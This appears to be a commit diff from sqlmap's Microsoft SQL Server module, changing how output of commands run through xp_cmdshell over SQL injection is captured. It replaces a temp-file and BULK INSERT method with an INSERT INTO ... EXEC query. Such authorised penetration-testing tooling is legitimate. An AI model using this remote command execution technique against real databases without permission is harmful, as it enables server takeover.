99from lib .core .common import Backend
1010from lib .core .common import getSPQLSnippet
1111from lib .core .common import hashDBWrite
12+ from lib .core .common import isListLike
1213from lib .core .common import isNoneValue
1314from lib .core .common import pushValue
1415from lib .core .common import popValue
@@ -154,8 +155,6 @@ def xpCmdshellExecCmd(self, cmd, silent=False):
154155 return inject .goStacked (cmd , silent )
155156
156157 def xpCmdshellEvalCmd (self , cmd , first = None , last = None ):
157- self .getRemoteTempPath ()
158-
159158 if conf .direct :
160159 output = self .xpCmdshellExecCmd (cmd )
161160
@@ -170,23 +169,11 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
170169
171170 output = new_output
172171 else :
173- tmpFile = "%s/tmpc%s.txt" % (conf .tmpPath , randomStr (lowercase = True ))
174- cmd = "%s > \" %s\" " % (cmd , tmpFile )
175-
176- self .xpCmdshellExecCmd (cmd )
177-
178- inject .goStacked ("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self .cmdTblName , tmpFile , randomStr (10 ), randomStr (10 )))
179-
180- self .delRemoteFile (tmpFile )
181-
182- output = inject .getValue ("SELECT %s FROM %s" % (self .tblField , self .cmdTblName ), resumeValue = False , firstChar = first , lastChar = last , safeCharEncode = False )
172+ inject .goStacked ("INSERT INTO %s EXEC %s '%s'" % (self .cmdTblName , self .xpCmdshellStr , cmd ))
173+ output = inject .getValue ("SELECT %s FROM %s" % (self .tblField , self .cmdTblName ), resumeValue = False )
183174 inject .goStacked ("DELETE FROM %s" % self .cmdTblName )
184-
185- if output and isinstance (output , (list , tuple )):
186- output = output [0 ]
187-
188- if output and isinstance (output , (list , tuple )):
189- output = output [0 ]
175+ if output and isListLike (output ):
176+ output = output [1 :]
190177
191178 return output
192179
0 commit comments